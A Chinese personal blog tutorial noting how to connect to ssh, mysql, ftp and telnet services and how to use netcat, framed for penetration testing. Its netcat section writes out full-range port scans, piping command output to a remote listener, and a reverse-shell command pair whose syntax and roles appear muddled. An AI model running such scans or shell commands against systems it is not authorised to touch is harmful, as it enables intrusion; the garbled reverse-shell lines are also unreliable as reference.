常见端口连接以及nc的使用

About Port Connections

关于端口连接方式


0x00 前言

随手记以下常见端口的连接方式,加强记忆。主要有ssh,mysql,telnet,ftp。以及nc瑞士军刀的使用。

0x01 SSH

ssh作为远程连接命令还是比较常用的,而且也比较简单。
常用参数:
-l 指定登录名
-h 主机名,即ip地址
-p 端口名
–help 通过查看帮助可以来学习更多的参数操作

用法:

ssh --help
ssh 192.168.1.114
ssh -l root 192.168.1.114
ssh -l root -p 12345 192.168.1.114
ssh -p 12345 root@192.168.1.114

个人感觉-p参数还是比较实用的,在实际情况里,ssh对应的不是固定端口,是可以通过修改配置文件来修改的。
ssh可以做的事情不止这些。推荐博客:
SSH命令详解2

0x02 mysql

其实连接数据库还是有很多方法的,python,php等等有支持连接数据的函数,以及很多操作数据的软件。主要介绍下cmd框连接数据库。
常用参数:
-h 数据库的主机名
-u 帐户名
-p 密码
-P 指定端口
–help 可以通过查看帮助来学习更多的参数操作
用法:

mysql --help
mysql -uroot -proot
mysql -h192.168.1.114 -uroot -proot
mysql -h192.168.1.114 -uroot -proot -P33060

一般第一种连接方式默认的是数据库在本机,默认端口3306,用的比较多,但是实际应用中,数据库往往是不在本地的,端口也不一定。骚年,站库分离了解下。

0x03 ftp

ftp的连接只是在测试的时候用过,具体的实践操作,我测试完了再对本篇博客进行修改。由于我本人用的不多,附加上了常用的命令。
参数:
-v 禁止显示远程服务器响应
-n 禁止自动登录到初始连接
-i 多个文件传送时关闭交互提示
-d 启用调试、显示在客户端和服务器之间传递的所有 ftp命令
-g 禁用文件名组,它允许在本地文件和路径名中使用通配符字符(* 和 ?)。(请参阅联机“命令参考”中的 glob 命令。)
-s filename指定包含 ftp 命令的文本文件;当 ftp 启动后,这些命令将自动运行。该参数中不允许有空格。使用该开关而不是重定向 (>)
-a 在捆绑数据连接时使用任何本地接口
-w windowsize 替代默认大小为 4096 的传送缓冲区

常用命令:
! 从ftp子系统退出到系统外壳
? 显示ftp说明,跟help一样
append 添加文件,格式为:append 本地文件远程文件
cd 更换远程目录
lcd 更换本地目录,若无参数,将显示当前目录
open 与指定的ftp服务器连接 open computer [port]
close 结束与远程服务器的FTP会话并返回命令解释程序
bye 结束与远程计算机的 FTP 会话并退出 ftp
dir 产看本目录下的内容
get和recv 使用当前文件转换类型将远程文件复制到本地计算机 get remote-file [local-file]
send和put 上传文件:send local-file [remote-file]
用法:

ftp 192.168.1.114

具体的操作还是要连接进去看的,实践出真知嘛。

0x04 telnet

telnet命令用于登录远程主机,对远程主机进行管理.这个在实际应用中跟ssh,ftp经常一块出现,非常常见。
常见参数:
-8:允许使用8位字符资料,包括输入与输出
-a:尝试自动登入远端系统
-b<主机别名>:使用别名指定远端主机名称
-c:不读取用户专属目录里的.telnetrc文件
-d:启动排错模式
-e<脱离字符>:设置脱离字符
-E:滤除脱离字符
-f:此参数的效果和指定”-F”参数相同
-F:使用Kerberos V5认证时,加上此参数可把本地主机的认证数据上传到远端主机
-k<域名>:使用Kerberos认证时,加上此参数让远端主机采用指定的领域名,而非该主机的域名
-K:不自动登入远端主机
-l<用户名称>:指定要登入远端主机的用户名称
-L:允许输出8位字符资料
-n<记录文件>:指定文件记录相关信息
-r:使用类似rlogin指令的用户界面
-S<服务类型>:设置telnet连线所需的ip TOS信息
-x:假设主机有支持数据加密的功能,就使用它
-X<认证形态>:关闭指定的认证形态
用法:
其实我一般用的最多的就是直接连接,最多也就是换个端口。

telnet 192.168.1.114
telnet 192.168.1.114 12345

关于nc的使用

nc是一个很强大的网络工具,全称是netcat。一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接。
总而言之我自己感觉,这东西真的很叼。

nc语法:
nc [-hlnruz][-g<网关…>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v…][-w<超时秒数>][主机名称][通信端口…]

nc参数:
-g<网关> 设置路由器跃程通信网关,最多可设置8个
-G<指向器数目>设置来源路由指向器,其数值为4的倍数
-h 在线帮助
-i<延迟秒数>设置时间间隔,以便传送信息及扫描通信端口
-l 使用监听模式,管控传入的资料
-n 直接使用IP地址,而不通过域名服务器
-o<输出文件>指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存
-p<通信端口> 设置本地主机使用的通信端口
-r 乱数指定本地与远端主机的通信端口
-s<来源位址> 设置本地主机送出数据包的IP地址
-u 使用UDP传输协议
-v 显示指令执行过程
-w<超时秒数> 设置等待连线的时间
-z 使用0输入/输出模式,只在扫描通信端口时使用

nc用法:
连接主机/探测服务:

nc 192.168.1.114 22
nc -nvv 192.168.1.114 22

监听本地端口:

nc 9999

通信:

nc -l 9999  A机上执行,然后可以输入
nc 192.168.1.114 9999   B机上执行,ip是A机,可以输入
这样A,B输入输出的信息都可以在对方的shell中展示

文件传输:

nc -l 9999 < file.txt   这个类似于上面的通信
nc 192.168.1.114 9999 > file.txt

电子取证(信息映射):

nc -l -p 9999
ls -l |nc -nv 192.168.1.114 9999
这样B机上执行ls命令的结果机会映射在A机上

端口扫描:

nc -nvz 192.168.1.114 1-65535 TCP端口扫描
nc -nvzu 192.168.1.114 1-65535 UDP端口扫描

反弹shell:

监听方:nc -nv 192.168.1.114 9999
连接方:nc -lp 9999 -bash
这样监听方就可以执行连接方shell命令了,不过windows需要把bash改为cmd

nc功能很强大,使用的话,个人建议看nc -h的官方参数介绍,虽然都是英文的。
借鉴了两位大佬的博客,表示感谢。

nc命令用法收集

网络中的瑞士军刀之NC的详细使用

小结

主要简单说了下常见的几个端口服务,也是渗透测试中经常碰到的,需要去利用的。关于工具的学习,我比较建议去看官方的英文手册(虽然我英语不咋地),也就是 –help的东西,网上博客的翻译有的确实比较垃圾,包括我的这篇博客,也是一样的,只不过在目前,我用到的,也就是我写的这么多。随手记下,方便学习。


打赏功能已开启,希望各位大佬多多支持。评论功能以及浏览人数等小设置,后期在搞吧。能力有限,如果你也感兴趣,我们可以共同学习,共同成长。


Reprint please specify: wh1te 常见端口连接以及nc的使用

Previous
masscan的使用 masscan的使用
About masscan basic knowledge About masscan 0x00 前言masscan的使用类似于nmap,其实也不用分开写,参数什么的也都差不多,只不过masscan比nmap更快一些,当扫描的ip数量比较
2018-05-10
Next
Sqlmap Sqlmap
About Sqlmap About Sqlmap Security 0x01 前言关于sqlmap,其实早就想写下总结个这哥是我接触安全认识的第一个神器,非常之叼。sqlmap是十分著名的自动化的SQL注入工具,他是开源的,由pytho
2018-05-10
TOC